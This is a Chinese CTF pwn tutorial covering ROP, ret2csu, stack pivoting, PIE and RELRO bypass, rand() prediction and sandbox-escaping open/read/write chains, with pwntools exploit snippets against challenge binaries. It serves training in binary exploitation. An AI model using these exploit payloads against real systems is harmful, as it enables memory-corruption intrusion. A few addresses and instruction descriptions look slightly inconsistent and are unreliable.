CTF-pwn 技术总结(1)
字数 1230 2025-08-07 08:22:02
CTF-pwn 技术总结(1)教学文档
初级ROP技术
基本概念
ROP(Return-Oriented Programming)是一种漏洞利用技术,允许攻击者在程序启用了安全保护技术(如NX保护)的情况下控制程序执行流。
使用方法
- 利用栈溢出控制函数返回地址
- 使用ROPgadget工具寻找程序/libc中带有ret的指令
- 构造指令序列控制程序执行
例题分析:checkin
漏洞点:
- 存在栈溢出漏洞,偏移为0x10
- 存在后门函数
利用步骤:
- 构造ROP链:
pop rdi; ret; binsh_addr; system_addr - 通过栈溢出覆盖返回地址
EXP示例:
from pwn import *
context.log_level = 'debug'
p = process("./checkin")
e = ELF("./checkin")
puts_got = e.got["puts"]
pop_rdi = 0x400953
sys_addr = 0x4007c6b
binsh_addr = 0x601060
off = 0x10 + 8
payload = "a"*off + p64(pop_rdi)+ p64(binsh_addr) +p64(sys_addr)
payload = payload.ljust(100, "a")
p.send(payload)
p.interactive()
通用ROP技术(ret2csu)
原理
利用64位ELF程序中的_libc_csu_init函数控制多个寄存器值。
关键代码段
loc_400600:
mov rdx, r13 ; 第二次返回地址
mov rsi, r14
mov edi, r15d
call qword ptr [r12+rbx*8]
loc_400616:
pop rbx
pop rbp
pop r12
pop r13
pop r14
pop r15
retn
利用要点
- 设置rbx=0,rbp=1
- 可以控制rdx、rsi、edi寄存器
- 可以调用[r12]处的函数
例题分析:pwn_100
利用步骤:
- 泄露libc地址
- 使用read函数写入bss段
- 执行execve
EXP关键部分:
# 泄露puts地址
payload1 = off * 'a' + p64(cus_addr_end) + p64(0) + p64(1) + p64(puts_got_addr) + p64(0) + p64(0) + p64(puts_got_addr) + p64(cus_addr_front) + 56 * 'a' + p64(main_addr)
# 执行execve
payload3 = off * 'a' + p64(cus_addr_end) + p64(0) + p64(1) + p64(bss_base_16) + p64(0) + p64(0) + p64(bss_base_16 + 8) + p64(cus_addr_front) + 56 * 'a' + p64(main_addr)
栈迁移技术
原理
当溢出字节不足时,将栈迁移到攻击者可控制的地址。
关键指令
leave = mov esp, rbp; pop rbpret = pop rip
例题分析:CET6
利用步骤:
- 覆盖rbp为fake_stack地址
- 返回read函数再次写入
- 构造ROP链泄露地址
- 最终getshell
EXP关键部分:
fake_stack = 0x404F00
read_addr = 0x4011ae
# 第一次迁移
payload = 'a' * 0x40 + p64(fake_stack) + p64(read_addr)
# 第二次构造ROP链
payload = 'a' * 8 + p64(pop_rdi) + p64(puts_got) + p64(puts_plt) + p64(read_addr)
PIE绕过技术
PIE保护机制
随机化ELF装载内存的基址(代码段、plt、got、data等)。
绕过方法
- PIE不随机化地址的低12位
- 泄露一个地址计算基址
例题分析:checkin_revenge
利用步骤:
- 覆盖返回地址最后一个字节
- 泄露main函数地址计算基址
- 构造ROP链
EXP关键部分:
# 覆盖返回地址最后一个字节
payload = "a" * off + "\x7f"
# 计算基址
main_addr = u64(p.recvuntil('\x55')[-6:].ljust(8,'\x00'))
code_base = main_addr & 0xfffffffffffff000
数组越界漏洞
漏洞原理
数组下标取值超过定义范围,可修改任意地址数据。
RELRO保护
- Partial RELRO:可修改GOT表
- Full RELRO:无法修改GOT表
例题分析:arry
利用步骤:
- 计算got表项与数组的偏移
- 泄露地址计算基址
- 修改printf的got表项
EXP关键部分:
printf_offset = -128
stack_chk_fail_offset = -152
# 泄露stack_chk_fail地址
p.sendlineafter("index:",str(stack_chk_fail_offset))
stack_chk_fail = u64(p.recv(6).ljust(8,"\x00"))
base = stack_chk_fail & 0xfffffffff000
# 修改printf的got表项
p.sendlineafter("index:",str(printf_offset))
p.sendlineafter("change:",p64(0xA93 + base))
伪随机数漏洞
原理
rand()函数产生伪随机数,种子相同则序列相同。
例题分析:guess
非预期解:
elf.srand(0)
for i in range(4):
payload = str(elf.rand())
正常解:
key = "7F454C46" # ELF文件头
for i in range(0,8,2):
elf.srand(int(key[i:i+2],16))
payload = str(elf.rand())
Sandbox绕过(ORW技术)
原理
当execve被禁用时,使用open/read/write组合读取flag。
例题分析1:shellcode
EXP:
shellcode = shellcraft.open('flag.txt')
shellcode += shellcraft.read('rax','rsp',100)
shellcode += shellcraft.write(1,'rsp',100)
shellcode = asm(shellcode)
例题分析2:CET4
方法一:ROP链
# open flag
payload = 'a' * 0x48 + p64(pop_rdi) + p64(bss) + p64(pop_rsi) + p64(0) + p64(pop_rdx_r12) + p64(0) + p64(0) + p64(open)
# read flag
payload += p64(pop_rdi) + p64(3) + p64(pop_rsi) + p64(bss) + p64(pop_rdx_r12) + p64(100) + p64(0) + p64(read)
# write flag
payload += p64(pop_rdi) + p64(1) + p64(pop_rsi) + p64(bss) + p64(pop_rdx_r12) + p64(100) + p64(0) + p64(write)
方法二:mprotect+shellcode
# 修改bss段为可执行
protect=libc_base+libc.sym['mprotect']
payload=p64(rdi)+p64(0x404000)+p64(rsi)+p64(0x1000)+p64(rdx_r12)+p64(7)+p64(0)+p64(protect)
# 写入并执行shellcode
code = shellcraft.open("./flag")
code += shellcraft.read(3, 0x404900, 0x50)
code += shellcraft.write(1, 0x404900, 0x50)
shellcode = asm(code)
关键工具和技术
- ROPgadget:查找可用指令片段
- pwntools:开发exploit
- gdb:调试程序
- checksec:检查程序保护机制
- 各种保护机制的绕过技术(NX、PIE、RELRO等)